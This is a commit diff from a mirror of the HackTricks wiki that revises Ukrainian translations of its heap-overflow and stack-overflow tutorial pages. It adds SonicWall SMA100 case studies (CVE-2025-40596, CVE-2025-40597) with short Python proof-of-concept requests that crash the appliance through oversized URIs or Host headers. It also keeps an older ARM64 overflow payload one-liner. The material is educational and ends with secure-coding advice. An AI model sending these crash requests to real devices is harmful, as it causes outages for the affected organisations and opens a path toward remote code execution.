mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/libc-heap/heap-overflow.md', 'src/b
This commit is contained in:
parent
87f49ea818
commit
8a6376e048
@ -6,36 +6,36 @@
|
|||||||
|
|
||||||
Переповнення купи - це як [**переповнення стеку**](../stack-overflow/index.html), але в купі. В основному це означає, що деякий простір було зарезервовано в купі для зберігання деяких даних, і **збережені дані були більшими за зарезервований простір.**
|
Переповнення купи - це як [**переповнення стеку**](../stack-overflow/index.html), але в купі. В основному це означає, що деякий простір було зарезервовано в купі для зберігання деяких даних, і **збережені дані були більшими за зарезервований простір.**
|
||||||
|
|
||||||
У випадку переповнень стеку ми знаємо, що деякі регістри, такі як вказівник інструкцій або стековий фрейм, будуть відновлені зі стеку, і це може бути можливим для зловживання. У випадку переповнень купи **немає жодної чутливої інформації, що зберігається за замовчуванням** в купі, яка може бути переповнена. Однак це можуть бути чутливі дані або вказівники, тому **критичність** цієї вразливості **залежить** від **того, які дані можуть бути перезаписані** і як зловмисник може цим зловживатися.
|
У випадку переповнень стеку ми знаємо, що деякі регістри, такі як вказівник інструкцій або стековий фрейм, будуть відновлені зі стеку, і це може бути можливим для зловживання. У випадку переповнень купи **немає жодної чутливої інформації, що зберігається за замовчуванням** в частині купи, яка може бути переповнена. Однак це можуть бути чутливі дані або вказівники, тому **критичність** цієї вразливості **залежить** від **того, які дані можуть бути перезаписані** і як зловмисник може цим зловживатися.
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Щоб знайти зсуви переповнення, ви можете використовувати ті ж шаблони, що й у [**переповненнях стеку**](../stack-overflow/index.html#finding-stack-overflows-offsets).
|
> Щоб знайти зсуви переповнення, ви можете використовувати ті ж шаблони, що й у [**переповненнях стеку**](../stack-overflow/index.html#finding-stack-overflows-offsets).
|
||||||
|
|
||||||
### Stack Overflows vs Heap Overflows
|
### Stack Overflows vs Heap Overflows
|
||||||
|
|
||||||
У переповненнях стеку розташування та дані, які будуть присутні в стеку в момент, коли вразливість може бути активована, є досить надійними. Це пов'язано з тим, що стек є лінійним, завжди зростаючим у зіткненні пам'яті, у **конкретних місцях виконання програми стекова пам'ять зазвичай зберігає подібні дані** і має певну структуру з деякими вказівниками в кінці частини стеку, що використовується кожною функцією.
|
У переповненнях стеку розташування та дані, які будуть присутні в стеку в момент, коли вразливість може бути активована, є досить надійними. Це пов'язано з тим, що стек є лінійним, завжди збільшується в зіткненні пам'яті, у **конкретних місцях виконання програми стекова пам'ять зазвичай зберігає подібні дані** і має певну структуру з деякими вказівниками в кінці частини стеку, що використовується кожною функцією.
|
||||||
|
|
||||||
Однак у випадку переповнення купи використовувана пам'ять не є лінійною, а **використовувані шматки зазвичай знаходяться в окремих позиціях пам'яті** (не один біля одного) через **контейнери та зони**, які розділяють алокації за розміром, і через те, що **попередньо звільнена пам'ять використовується** перед алокацією нових шматків. Це **складно знати об'єкт, який буде зіткненням з вразливим** до переповнення купи. Тому, коли виявляється переповнення купи, потрібно знайти **надійний спосіб зробити так, щоб бажаний об'єкт був наступним у пам'яті** після того, що може бути переповнене.
|
Однак у випадку переповнення купи використана пам'ять не є лінійною, а **використані частини зазвичай знаходяться в окремих позиціях пам'яті** (не одна біля одної) через **контейнери та зони**, які розділяють алокації за розміром, і через те, що **попередньо звільнена пам'ять використовується** перед алокацією нових частин. Це **ускладнює визначення об'єкта, який буде зіткненням з вразливим** до переповнення купи. Тому, коли виявляється переповнення купи, потрібно знайти **надійний спосіб зробити так, щоб бажаний об'єкт був наступним у пам'яті** після того, що може бути переповнене.
|
||||||
|
|
||||||
Одна з технік, що використовуються для цього, - це **Heap Grooming**, яка використовується, наприклад, [**в цьому пості**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). У пості пояснюється, як у ядрі iOS, коли зона вичерпується пам'яттю для зберігання шматків пам'яті, вона розширюється на сторінку ядра, і ця сторінка ділиться на шматки очікуваних розмірів, які будуть використовуватися в порядку (до версії iOS 9.2, потім ці шматки використовуються випадковим чином, щоб ускладнити експлуатацію цих атак).
|
Одна з технік, що використовуються для цього, - це **Heap Grooming**, яка використовується, наприклад, [**в цьому пості**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). У пості пояснюється, як у ядрі iOS, коли зона вичерпується пам'яттю для зберігання частин пам'яті, вона розширюється на сторінку ядра, і ця сторінка ділиться на частини очікуваних розмірів, які будуть використовуватися в порядку (до версії iOS 9.2, потім ці частини використовуються випадковим чином, щоб ускладнити експлуатацію цих атак).
|
||||||
|
|
||||||
Отже, у попередньому пості, де відбувається переповнення купи, щоб змусити переповнений об'єкт зіткнутися з об'єктом жертви, кілька **`kallocs` примушуються кількома потоками, щоб спробувати забезпечити заповненість усіх вільних шматків і створити нову сторінку**.
|
Отже, у попередньому пості, де відбувається переповнення купи, щоб примусити переповнений об'єкт зіткнутися з об'єктом жертви, кілька **`kallocs` примушуються кількома потоками, щоб спробувати забезпечити заповненість усіх вільних частин і створення нової сторінки**.
|
||||||
|
|
||||||
Щоб примусити це заповнення об'єктами певного розміру, **алокація поза лінією, пов'язана з iOS mach port**, є ідеальним кандидатом. Шляхом формування розміру повідомлення можна точно вказати розмір алокації `kalloc`, і коли відповідний mach port знищується, відповідна алокація буде негайно звільнена назад до `kfree`.
|
Щоб примусити це заповнення об'єктами певного розміру, **алокація поза лінією, пов'язана з iOS mach port**, є ідеальним кандидатом. Шляхом формування розміру повідомлення можна точно вказати розмір алокації `kalloc`, і коли відповідний mach port знищується, відповідна алокація буде негайно звільнена назад до `kfree`.
|
||||||
|
|
||||||
Тоді деякі з цих заповнювачів можуть бути **звільнені**. **Список вільних `kalloc.4096` звільняє елементи в порядку останній прийшов - перший пішов**, що в основному означає, що якщо деякі заповнювачі звільнені, і експлойт намагається алокувати кілька об'єктів жертви, намагаючись алокувати об'єкт, вразливий до переповнення, ймовірно, що цей об'єкт буде слідувати за об'єктом жертви.
|
Тоді деякі з цих заповнювачів можуть бути **звільнені**. **Список вільних `kalloc.4096` звільняє елементи в порядку останній прийшов - перший вийшов**, що в основному означає, що якщо деякі заповнювачі звільнені, а експлуатація намагається алокувати кілька об'єктів жертви, намагаючись алокувати об'єкт, вразливий до переповнення, ймовірно, що цей об'єкт буде слідувати за об'єктом жертви.
|
||||||
|
|
||||||
### Example libc
|
### Example libc
|
||||||
|
|
||||||
[**На цій сторінці**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) можна знайти базову емуляцію переповнення купи, яка показує, як перезаписуючи біт prev in use наступного шматка та позицію prev size, можна **консолідувати використаний шматок** (змушуючи його думати, що він не використовується) і **потім знову алокувати його**, маючи можливість перезаписати дані, які використовуються в іншому вказівнику.
|
[**На цій сторінці**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) можна знайти базову емуляцію переповнення купи, яка показує, як перезаписуючи біт prev in use наступної частини та позицію prev size, можна **консолідувати використану частину** (зробивши її такою, що вона не використовується) і **потім знову алокувати її**, маючи можливість перезаписати дані, які використовуються в іншому вказівнику.
|
||||||
|
|
||||||
Ще один приклад з [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) показує дуже базовий приклад CTF, де **переповнення купи** може бути використано для виклику функції переможця, щоб **отримати прапор**.
|
Ще один приклад з [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) показує дуже базовий приклад CTF, де **переповнення купи** може бути використано для виклику функції переможця, щоб **отримати прапор**.
|
||||||
|
|
||||||
У прикладі [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) можна побачити, як зловживаючи переповненням буфера, можна **перезаписати в сусідньому шматку адресу**, куди **будуть записані довільні дані від користувача**.
|
У прикладі [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) можна побачити, як зловживаючи переповненням буфера, можна **перезаписати в сусідній частині адресу**, куди **будуть записані довільні дані від користувача**.
|
||||||
|
|
||||||
### Example ARM64
|
### Example ARM64
|
||||||
|
|
||||||
На сторінці [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) ви можете знайти приклад переповнення купи, де команда, яка буде виконана, зберігається в наступному шматку від переповненого шматка. Таким чином, можна змінити виконувану команду, перезаписавши її простим експлойтом, таким як:
|
На сторінці [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) ви можете знайти приклад переповнення купи, де команда, яка буде виконана, зберігається в наступній частині від переповненої частини. Таким чином, можна змінити виконувану команду, перезаписавши її простим експлойтом, таким як:
|
||||||
```bash
|
```bash
|
||||||
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||||
```
|
```
|
||||||
@ -45,4 +45,36 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
|||||||
- Ми використовуємо вразливість цілочисельного переповнення, щоб отримати переповнення купи.
|
- Ми використовуємо вразливість цілочисельного переповнення, щоб отримати переповнення купи.
|
||||||
- Ми корумпуємо вказівники на функцію всередині `struct` переповненого блоку, щоб встановити функцію, таку як `system`, і отримати виконання коду.
|
- Ми корумпуємо вказівники на функцію всередині `struct` переповненого блоку, щоб встановити функцію, таку як `system`, і отримати виконання коду.
|
||||||
|
|
||||||
|
### Приклад з реального світу: CVE-2025-40597 – Неправильне використання `__sprintf_chk`
|
||||||
|
|
||||||
|
У прошивці SonicWall SMA100 версії 10.2.1.15 модуль зворотного проксі `mod_httprp.so` виділяє **0x80-байтовий** блок купи, а потім конкатенує кілька рядків у нього за допомогою `__sprintf_chk`:
|
||||||
|
```c
|
||||||
|
char *buf = calloc(0x80, 1);
|
||||||
|
/* … */
|
||||||
|
__sprintf_chk(buf, /* destination (0x80-byte chunk) */
|
||||||
|
-1, /* <-- size argument !!! */
|
||||||
|
0, /* flags */
|
||||||
|
"%s%s%s%s", /* format */
|
||||||
|
"/", "https://", path, host);
|
||||||
|
```
|
||||||
|
`__sprintf_chk` є частиною **_FORTIFY_SOURCE**. Коли він отримує **позитивний** параметр `size`, він перевіряє, що отриманий рядок поміщається в буфер призначення. Передаючи **`-1` (0xFFFFFFFFFFFFFFFF)**, розробники фактично **відключили перевірку меж**, перетворивши укріплений виклик назад у класичний, небезпечний `sprintf`.
|
||||||
|
|
||||||
|
Отже, надання надто довгого **`Host:`** заголовка дозволяє зловмиснику **переповнити 0x80-байтовий шматок і знищити метадані наступного шматка купи** (tcache / fast-bin / small-bin в залежності від аллокатора). Збій можна відтворити за допомогою:
|
||||||
|
```python
|
||||||
|
import requests, warnings
|
||||||
|
warnings.filterwarnings('ignore')
|
||||||
|
requests.get(
|
||||||
|
'https://TARGET/__api__/',
|
||||||
|
headers={'Host': 'A'*750},
|
||||||
|
verify=False
|
||||||
|
)
|
||||||
|
```
|
||||||
|
Практична експлуатація вимагатиме **heap grooming** для розміщення контрольованого об'єкта безпосередньо після вразливого блоку, але корінна причина підкреслює два важливі висновки:
|
||||||
|
|
||||||
|
1. **_FORTIFY_SOURCE не є панацеєю** – неправильне використання може знищити захист.
|
||||||
|
2. Завжди передавайте **правильний розмір буфера** до сімейства `_chk` (або, ще краще, використовуйте `snprintf`).
|
||||||
|
|
||||||
|
## References
|
||||||
|
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -4,13 +4,13 @@
|
|||||||
|
|
||||||
## Що таке Stack Overflow
|
## Що таке Stack Overflow
|
||||||
|
|
||||||
A **stack overflow** - це вразливість, яка виникає, коли програма записує більше даних у стек, ніж йому виділено. Ці надмірні дані **перезапишуть сусідній простір пам'яті**, що призведе до пошкодження дійсних даних, порушення контролю потоку виконання та потенційного виконання шкідливого коду. Ця проблема часто виникає через використання небезпечних функцій, які не виконують перевірку меж на вхідні дані.
|
**Stack overflow** - це вразливість, яка виникає, коли програма записує більше даних у стек, ніж йому виділено. Ці надмірні дані **перезаписують сусідній простір пам'яті**, що призводить до пошкодження дійсних даних, порушення контролю потоку виконання та потенційного виконання шкідливого коду. Ця проблема часто виникає через використання небезпечних функцій, які не виконують перевірку меж на вхідних даних.
|
||||||
|
|
||||||
Основна проблема цього перезапису полягає в тому, що **збережений вказівник інструкцій (EIP/RIP)** та **збережений базовий вказівник (EBP/RBP)** для повернення до попередньої функції **зберігаються в стеці**. Тому зловмисник зможе перезаписати їх і **контролювати потік виконання програми**.
|
Основна проблема цього перезапису полягає в тому, що **збережений вказівник інструкцій (EIP/RIP)** та **збережений базовий вказівник (EBP/RBP)** для повернення до попередньої функції **зберігаються в стеці**. Тому зловмисник зможе перезаписати їх і **контролювати потік виконання програми**.
|
||||||
|
|
||||||
Вразливість зазвичай виникає, оскільки функція **копіює в стек більше байтів, ніж виділено для неї**, таким чином, здатна перезаписати інші частини стека.
|
Вразливість зазвичай виникає, оскільки функція **копіює в стек більше байтів, ніж виділено для неї**, тим самим здатна перезаписати інші частини стека.
|
||||||
|
|
||||||
Деякі загальні функції, вразливі до цього, це: **`strcpy`, `strcat`, `sprintf`, `gets`**... Також функції, такі як **`fgets`**, **`read` & `memcpy`**, які приймають **аргумент довжини**, можуть бути використані в уразливий спосіб, якщо вказана довжина перевищує виділену.
|
Деякі загальні функції, вразливі до цього, це: **`strcpy`, `strcat`, `sprintf`, `gets`**... Також функції, такі як **`fgets`**, **`read`** та **`memcpy`**, які приймають **аргумент довжини**, можуть бути використані в уразливий спосіб, якщо вказана довжина перевищує виділену.
|
||||||
|
|
||||||
Наприклад, наступні функції можуть бути вразливими:
|
Наприклад, наступні функції можуть бути вразливими:
|
||||||
```c
|
```c
|
||||||
@ -48,16 +48,16 @@ pattern create 200 #Generate length 200 pattern
|
|||||||
pattern search "avaaawaa" #Search for the offset of that substring
|
pattern search "avaaawaa" #Search for the offset of that substring
|
||||||
pattern search $rsp #Search the offset given the content of $rsp
|
pattern search $rsp #Search the offset given the content of $rsp
|
||||||
```
|
```
|
||||||
## Експлуатація переповнень стеку
|
## Використання переповнень стеку
|
||||||
|
|
||||||
Під час переповнення (якщо розмір переповнення достатньо великий) ви зможете **перезаписати** значення локальних змінних всередині стеку, поки не досягнете збереженого **EBP/RBP та EIP/RIP (або навіть більше)**.\
|
Під час переповнення (якщо розмір переповнення достатньо великий) ви зможете **перезаписати** значення локальних змінних всередині стеку, поки не досягнете збереженого **EBP/RBP та EIP/RIP (або навіть більше)**.\
|
||||||
Найпоширеніший спосіб зловживання цим типом вразливості - це **модифікація адреси повернення**, щоб, коли функція закінчується, **управління буде перенаправлено туди, куди вказав користувач** в цьому вказівнику.
|
Найпоширеніший спосіб зловживання цим типом вразливості - це **модифікація адреси повернення**, щоб, коли функція закінчується, **управління буде перенаправлено туди, куди вказав користувач** в цьому вказівнику.
|
||||||
|
|
||||||
Однак у інших сценаріях просто **перезапис деяких значень змінних у стеку** може бути достатньо для експлуатації (як у простих CTF викликах).
|
Однак в інших сценаріях просто **перезапис деяких значень змінних у стеку** може бути достатньо для експлуатації (як у простих CTF викликах).
|
||||||
|
|
||||||
### Ret2win
|
### Ret2win
|
||||||
|
|
||||||
У цьому типі CTF викликів є **функція** **всередині** бінарного файлу, яка **ніколи не викликається** і яку **вам потрібно викликати, щоб виграти**. Для цих викликів вам просто потрібно знайти **зсув для перезапису адреси повернення** та **знайти адресу функції**, яку потрібно викликати (зазвичай [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) буде вимкнено), щоб, коли вразлива функція повертається, прихована функція буде викликана:
|
У цьому типі CTF викликів є **функція** **всередині** бінарного файлу, яка **ніколи не викликається** і яку **вам потрібно викликати, щоб виграти**. Для цих викликів вам просто потрібно знайти **зсув для перезапису адреси повернення** і **знайти адресу функції**, яку потрібно викликати (зазвичай [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) буде вимкнено), щоб, коли вразлива функція повертається, прихована функція буде викликана:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
ret2win/
|
ret2win/
|
||||||
@ -95,4 +95,33 @@ stack-shellcode/
|
|||||||
../common-binary-protections-and-bypasses/
|
../common-binary-protections-and-bypasses/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
### Приклад з реального світу: CVE-2025-40596 (SonicWall SMA100)
|
||||||
|
|
||||||
|
Добра демонстрація того, чому **`sscanf` ніколи не слід довіряти для парсингу ненадійного вводу**, з'явилася в 2025 році в SSL-VPN пристрої SonicWall SMA100.
|
||||||
|
Вразлива рутина всередині `/usr/src/EasyAccess/bin/httpd` намагається витягти версію та кінцеву точку з будь-якого URI, який починається з `/__api__/`:
|
||||||
|
```c
|
||||||
|
char version[3];
|
||||||
|
char endpoint[0x800] = {0};
|
||||||
|
/* simplified proto-type */
|
||||||
|
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
||||||
|
```
|
||||||
|
1. Перше перетворення (`%2s`) безпечно зберігає **два** байти в `version` (наприклад, `"v1"`).
|
||||||
|
2. Друге перетворення (`%s`) **не має специфікатора довжини**, тому `sscanf` буде копіювати **до першого байта NUL**.
|
||||||
|
3. Оскільки `endpoint` знаходиться на **стеку** і має **0x800 байт**, надання шляху довше ніж 0x800 байт пошкоджує все, що знаходиться після буфера ‑ включаючи **стековий канар** і **збережену адресу повернення**.
|
||||||
|
|
||||||
|
Однорядковий доказ концепції достатній, щоб викликати збій **до аутентифікації**:
|
||||||
|
```python
|
||||||
|
import requests, warnings
|
||||||
|
warnings.filterwarnings('ignore')
|
||||||
|
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||||||
|
requests.get(url, verify=False)
|
||||||
|
```
|
||||||
|
Навіть якщо стекові канарки переривають процес, зловмисник все ще отримує **Denial-of-Service** примітив (і, з додатковими витоками інформації, можливо, виконання коду). Урок простий:
|
||||||
|
|
||||||
|
* Завжди вказуйте **максимальну ширину поля** (наприклад, `%511s`).
|
||||||
|
* Віддавайте перевагу більш безпечним альтернативам, таким як `snprintf`/`strncpy_s`.
|
||||||
|
|
||||||
|
## References
|
||||||
|
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user